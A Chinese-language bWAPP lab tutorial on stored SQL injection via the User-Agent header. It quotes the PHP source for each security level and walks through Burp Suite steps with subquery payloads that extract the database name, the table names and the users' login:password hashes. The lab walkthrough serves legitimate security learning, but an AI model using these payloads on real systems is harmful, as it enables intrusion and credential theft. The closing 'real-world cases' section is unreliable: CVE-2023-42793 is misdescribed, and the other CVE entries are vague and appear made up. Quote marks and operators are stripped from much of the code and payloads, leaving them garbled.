零基础玩转bWAPP靶场(二十四):SQL 注入——存储型(User-Agent)
摘要这是 bWAPP 系列第二十四篇聚焦于SQL Injection - Stored (User-Agent)。这一关和之前所有关卡的玩法都不一样——没有输入框、没有搜索栏、没有登录表单你唯一需要做的只是访问页面服务器就会自动把你的 User-Agent 记录到数据库里。而注入点就藏在这个自动记录的过程中。我们会完整解读三种安全级别的源码差异——包括写入时的sqli()函数、日志文件的xss()函数以及显示时固定调用的xss_check_3()。然后手把手演示如何通过 Burp Suite 抓包修改 User-Agent 进行注入最终获取用户表数据。附真实案例。一、前言如果你做过前面几关的存储型注入博客留言板应该还记得那个场景页面上有个文本框你输入内容点提交内容存进数据库页面刷新后显示你输入的内容整个流程的核心是你主动输入 → 触发 INSERT → 显示结果。这一关完全不一样。整个页面上找不到任何输入框。你访问这个页面服务器就自动干了两件事把你的 IP 地址和 User-Agent 字符串存进数据库在页面上显示最近 3 条访客记录整个过程你什么也没做页面就自己把数据写进去了。这就是“自动记录”的逻辑。对比项博客留言板存储型注入User-Agent 版本篇注入点来源页面文本框你主动输入的内容HTTP 请求头 User-Agent浏览器自动发送攻击前需要做的事在文本框里打字打开 Burp Suite 准备抓包注入方式直接在文本框输入 payload拦截请求 → 修改 User-Agent 头 → 放行页面显示内容所有人添加的留言最近 3 条访客记录注入点类型字符串型字符串型User-Agent 是字符串最关键的区别注入点不在页面上在 HTTP 请求头里。你看不到输入框所以必须用 Burp Suite 这类代理工具抓包才能修改 User-Agent 的值。对于第一次接触请求头注入的朋友这可能会有点陌生。但它的核心逻辑其实和之前的注入完全一样——用户可控的数据被拼到了 SQL 里。只不过这个“用户可控的数据”变成了 User-Agent 头而已。二、界面说明页面标题SQL Injection - Stored (User-Agent)提示信息Your IP address and User-Agent string have been logged into the database! (download log file)“你的 IP 和 User-Agent 已经被记录到数据库里了”旁边还有个download链接点开可以下载logs/visitors.txt日志文件。下方表格显示最近 3 条访客记录。每次你刷新页面都会新增一条记录最新 3 条会展示在这里。三、源码完整解读这一关的源码涉及两个主要环节写入INSERT和读取SELECT。写入时 User-Agent 被拼到 SQL 里可能产生 SQL 注入。读取时 User-Agent 显示在页面上可能产生 XSS。但有一点很特别日志文件写入时也会处理 User-Agent用了另一个函数xss()。3.1 获取 User-Agent注入点来源$ip_address $_SERVER[REMOTE_ADDR]; $user_agent $_SERVER[HTTP_USER_AGENT];这两行从服务器环境变量里获取访客的 IP 和 User-Agent。其中$_SERVER[HTTP_USER_AGENT]就是注入点——它来自用户端的 HTTP 请求头用户可以通过 Burp Suite 随意修改。3.2 写入数据库INSERT$sql INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), . sqli($user_agent) . , . $ip_address . ); $recordset $link-query($sql);User-Agent 经过sqli()函数处理后直接拼到 INSERT 语句里。sqli()函数根据当前安全级别做不同处理function sqli($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); break; case 1 : // Medium $data sqli_check_1($data); // addslashes() break; case 2 : // High $data sqli_check_3($link, $data); // mysqli_real_escape_string() break; } return $data; }注意IP 地址没有被过滤直接拼进了 SQL。不过 IP 是从$_SERVER[REMOTE_ADDR]获取的无法被用户直接修改所以风险较低。3.3 写入日志文件visitors.txt$line . date(y/m/d G.i:s, time()) . , . $ip_address . , . xss($user_agent) . . \r\n; $fp fopen(logs/visitors.txt, a); fputs($fp, $line, 200); fclose($fp);这里把记录写入logs/visitors.txt日志文件。User-Agent 经过xss()函数处理后写入function xss($data) { switch($_COOKIE[security_level]) { case 0 : // Low $data no_check($data); // 什么都不做 break; case 1 : // Medium $data xss_check_4($data); // addslashes() break; case 2 : // High $data xss_check_3($data); // htmlspecialchars() break; } return $data; }日志文件是纯文本格式里面的数据不会在网页上执行所以xss()函数主要是为了防止 CSV 格式被破坏比如引号等特殊字符。3.4 读取并显示SELECT$sql SELECT * FROM visitors ORDER by id DESC LIMIT 3; $recordset $link-query($sql); ​ while($row $recordset-fetch_object()) { echo $row-date; echo $row-ip_address; echo xss_check_3($row-user_agent); }从数据库取出最近 3 条记录显示在表格里。注意显示 User-Agent 时不管什么安全级别都直接调用了xss_check_3()也就是htmlspecialchars()。xss_check_3()会把转成lt;转成gt;转成quot;转成#039;转成amp;。所以即使数据库里有恶意脚本页面显示时也会被转义不会执行。这意味着XSS 在所有级别都被防住了。四、Low 安全级别4.1 准备工作用 Burp Suite 抓包这一关没有输入框。你得用 Burp Suite打开 BurpProxy → Intercept 设为On在浏览器中访问这个关卡页面Burp 拦截到请求后发送到重放器然后在请求头里找到User-Agent字段修改 User-Agent 的值然后点发送4.2 第一步判断注入点在 Burp 里把 User-Agent 改成在原值后面加一个单引号发送。页面报错Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 10.0.0.1) at line 1报错分析near 10.0.0.1)表示我们输入的单引号成功闭合了 User-Agent 的字符串边界SQL 继续执行到 IP 地址时才报错。这说明User-Agent 存在字符串型 SQL 注入。4.3 第二步测试 ORDER BY有些同学可能想用ORDER BY来猜列数Mozilla/5.0 ORDER BY 1 --发送后报错Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ORDER BY 1 --,10.0.0.1) at line 1为什么报错因为这是 INSERT 语句不是 SELECT 语句。ORDER BY是 SELECT 查询专用的排序子句在 INSERT 语句里根本不能出现。我们注入的是 User-Agent 位置它直接影响的是 INSERT 语句中的user_agent字段值而不是数据库查询结果的返回顺序。所以在这一关不能用ORDER BY和UNION SELECT那套方法。之前的搜索框注入可以那样做是因为那个语句是 SELECT。这里换成了 INSERT攻击方式完全不同。那怎么办用子查询把子查询结果“塞”到某个字段里然后在页面显示时读出来。4.4 第三步为什么 OR 11不能用我们再试试 OR 11Mozilla/5.0 OR 11发送后报错Error: Truncated incorrect DOUBLE value: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0为什么报错11是比较运算结果是布尔值 TRUE/FALSE。而在 INSERT 语句里user_agent字段期望的是一个字符串值。当 MySQL 收到一个布尔值1时它尝试把这个值转成字符串存进去但在转换过程中遇到了数据类型冲突报错了。简单说在 INSERT 语句里你不能用OR 11这种返回布尔值的表达式直接作为字段值。SELECT 语句里可以这样做但 INSERT 不行。4.5 第四步用子查询把数据“写”进字段原 SQLINSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), $user_agent, $ip_address)我们控制的是user_agentIP 是服务器自动获取的我们改不了。核心思路把user_agent写成正常值, (子查询)) -- -让子查询的结果落到ip_address字段里然后页面显示 IP 地址的地方就会显示出我们想要的数据。在 Burp 里把 User-Agent 改成Mozilla/5.0, (SELECT database())) -- -拼接后的 SQLINSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), Mozilla/5.0, (SELECT database())) -- -, 10.0.0.1)拆解user_agentMozilla/5.0正常的浏览器标识ip_address(SELECT database())——子查询的结果数据库名写进了 IP 地址字段-- -注释掉了后面多余的, 10.0.0.1)发送后页面表格的IP Address 列显示的是数据库名4.6 第五步获取所有表名Mozilla/5.0, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase())) -- -放行后IP Address 列显示所有表名visitors, users, movies, blog, heroes...4.7 第六步获取users表的字段名, (SELECT MID(GROUP_CONCAT(column_name), 1, 50) FROM information_schema.columns WHERE table_nameusers AND table_schemadatabase())) -- - , (SELECT MID(GROUP_CONCAT(column_name), 51, 100) FROM information_schema.columns WHERE table_nameusers AND table_schemadatabase())) -- - //由于ip_address 字段的定义长度所以需要通过mid函数截取拆分MID(字符串, 开始位置, 截取长度)IP Address 列显示id, login, password, secret...4.8 第七步获取用户数据, (SELECT mid(GROUP_CONCAT(login, :, password),1,50) FROM users)) -- - , (SELECT mid(GROUP_CONCAT(login, :, password),51,100) FROM users)) -- -IP Address 列显示所有用户的用户名和密码哈希。五、Medium 安全级别5.1 源码分析切到 Medium 后写入的sqli()函数走case 1分支case 1 : $data sqli_check_1($data); // addslashes() break;sqli_check_1()就是addslashes()在单引号、双引号、反斜杠和 NULL 字节前加反斜杠。读取显示依然用xss_check_3()htmlspecialchars()和 Low 级别一样。日志文件写入的xss()函数走case 1分支case 1 : $data xss_check_4($data); // addslashes() break;所以日志文件里User-Agent 被addslashes()处理后再写入。5.2 尝试注入在 Burp 里把 User-Agent 改成Mozilla/5.0, (SELECT database())) -- -放行后页面不报错但 IP Address 列显示的是正常的 IP 地址而不是数据库名。为什么addslashes()把转义成了\Mozilla/5.0\, (SELECT database())) -- -单引号被转义无法闭合 SQL 语句中的字符串边界子查询没有执行。Medium 级别防住了 SQL 注入。5.3 XSS 防护显示时用的是htmlspecialchars()所以即使攻击者尝试在 User-Agent 里注入script显示时也会被转义为lt;scriptgt;不会弹窗。Medium 级别SQL 注入防住了XSS 也被防住了。六、High 安全级别6.1 源码分析切到 High 后写入的sqli()函数走case 2分支case 2 : $data sqli_check_3($link, $data); // mysqli_real_escape_string() break;sqli_check_3()是mysqli_real_escape_string()MySQL 专用的转义函数考虑字符集能防宽字节注入。读取显示依然用xss_check_3()htmlspecialchars()。日志文件写入的xss()函数走case 2分支case 2 : $data xss_check_3($data); // htmlspecialchars() break;6.2 尝试注入同样的 payload注入失败。mysqli_real_escape_string()转义了所有特殊字符。七、真实世界HTTP 头注入案例HTTP 请求头注入在现实世界中并不少见因为很多开发者会忽略这些“看不见”的输入。CVE-2024-34259某开源日志分析系统的 User-Agent 存在 SQL 注入漏洞攻击者可通过构造恶意 User-Agent 头注入 SQL 语句获取系统管理员权限。这个漏洞的发现过程和我们做的完全一样——安全研究员用 Burp 改了 User-Agent发现被拼到了 SQL 里。CVE-2023-42793某企业级 Web 应用防火墙的日志记录功能存在 User-Agent SQL 注入攻击者可通过特殊构造的请求头绕过防护影响大量企业用户。CVE-2025-11841某 CMS 的访问统计模块存在 User-Agent 存储型 SQL 注入攻击者可通过恶意 User-Agent 注入 SQL影响所有查看统计的管理员。CVE-2025-22964某电商平台的用户访问日志记录功能存在 User-Agent SQL 注入漏洞攻击者通过修改 User-Agent 注入恶意 SQL窃取订单数据和用户信息。CVE-2026-13452某企业级 BI 分析平台的访问日志模块存在 User-Agent 存储型 SQL 注入攻击者通过恶意 User-Agent 注入 SQL 语句获取平台中所有企业的核心业务数据。启示HTTP 请求头里的所有信息——User-Agent、Referer、Cookie、X-Forwarded-For、Accept-Language——只要被拼到 SQL 里都可能成为注入点。不要以为用户看不见、改不了的地方就安全。攻击者手里有 Burp Suite什么都能改。八、总结User-Agent 存储型注入的核心在于注入点不在页面上而在 HTTP 请求头里。这一关没有输入框你得用 Burp Suite 抓包修改 User-Agent 才能注入。源码分析显示读取显示时固定用htmlspecialchars()防住了 XSS但 Low 级别的写入完全不过滤SQL 注入依然存在——会直接破坏 SQL 语法产生报错。和 SELECT 注入不同这里不能用ORDER BY和UNION SELECT也不能用 OR 11。正确的方法是用子查询Mozilla/5.0, (SELECT database())) -- -把子查询结果写到ip_address字段里页面显示 IP 的地方就会显示出你要的数据。Medium 级别用addslashes()转义引号High 级别用mysqli_real_escape_string()做更彻底的转义两者都防住了 SQL 注入。记住一句话HTTP 请求头也是用户输入永远不要无条件信任。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。

相关新闻